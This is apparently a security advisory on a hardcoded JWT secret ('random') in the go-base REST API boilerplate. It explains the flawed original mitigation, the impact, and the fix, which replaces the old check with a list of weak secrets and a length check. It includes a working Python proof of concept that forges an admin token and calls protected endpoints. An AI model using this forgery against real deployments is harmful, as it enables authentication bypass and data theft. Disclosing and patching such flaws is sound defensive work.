Go Restful API Boilerplate: Hardcoded JWT Secret "random" Allows Token Forgery

The original code contained a mitigation in auth/jwt/tokenauth.go:22-25 that checked if the secret equaled "random" and replaced it with a randomly-generated 32-byte string. This mitigation had two fatal flaws:

• (a) Single-value check: Only the exact string "random" was caught. Any other weak secret (e.g., "secret", "changeme", empty string) passed through unchecked.
• (b) Non-persistent replacement: The auto-generated key was stored only in memory (randStringBytes(32)), not persisted. On every restart, all existing tokens became invalid without warning, breaking all active user sessions. This made the "fix" itself a denial-of-service.

An attacker who reads the public repository knows the signing key is "random". They can forge JWT tokens for arbitrary users (including admin roles), gaining complete authentication bypass on all protected API endpoints.

Proof of Concept

import jwt
import requests

# The hardcoded secret from dev.env / serve.go (public repository)
SECRET = "random"
BASE_URL = "http://target:3000"

# Step 1: Forge an admin JWT token
payload = {
    "sub": "[email protected]",
    "roles": ["admin"],
    "iat": 9999999000,
    "exp": 9999999999
}
forged_token = jwt.encode(payload, SECRET, algorithm="HS256")

# Step 2: Access any protected endpoint with the forged token
headers = {"Authorization": f"Bearer {forged_token}"}

# List all users (requires admin)
r = requests.get(f"{BASE_URL}/api/v1/admin/users", headers=headers)
print(f"Status: {r.status_code}")  # 200 OK

# Access own profile with forged identity
r = requests.get(f"{BASE_URL}/api/v1/me", headers=headers)
print(f"Profile: {r.json()}")  # Returns [email protected] profile

# The forged token is also accepted by refresh endpoints
r = requests.post(f"{BASE_URL}/api/v1/token/refresh", headers=headers)
# Returns a new valid token signed with the same "random" secret

Impact

• Authentication Bypass: Forge tokens for any user, including admin roles
• Confidentiality: Access all user data, profiles, and protected resources
• Integrity: Modify any data accessible via the API
• Persistence: Forged tokens remain valid until expiry (or indefinitely via refresh)

Fix (PR #31)

The fix replaced the single-value check with a comprehensive approach:

// BEFORE (tokenauth.go:22-25) — weak, single-value check
if secret == "random" {
    secret = randStringBytes(32) // non-persistent, breaks on restart
}

// AFTER — comprehensive known-weak-secrets map
var knownWeakSecrets = map[string]bool{
    "random": true,
    "secret": true,
    "changeme": true,
    "change-me": true,
    "default": true,
    "": true,
}

if knownWeakSecrets[secret] {
    log.Fatal("JWT secret is a known weak value. Please set a strong AUTH_JWT_SECRET.")
}

Plus: minimum 32-character length check, removal of non-persistent auto-generation, and clear generation instructions (openssl rand -base64 32) in the template.

Patched Versions

• All versions after commit range including PR#31 (merged May 17, 2026).
• Users should update to the latest master, regenerate their JWT secret, and restart.

Resources

• Fix PR: https://github.com/dhax/go-base/pull/31
• Commit history: https://github.com/dhax/go-base/commits/master

Credit

Reported by @saaa99999999 via manual security audit.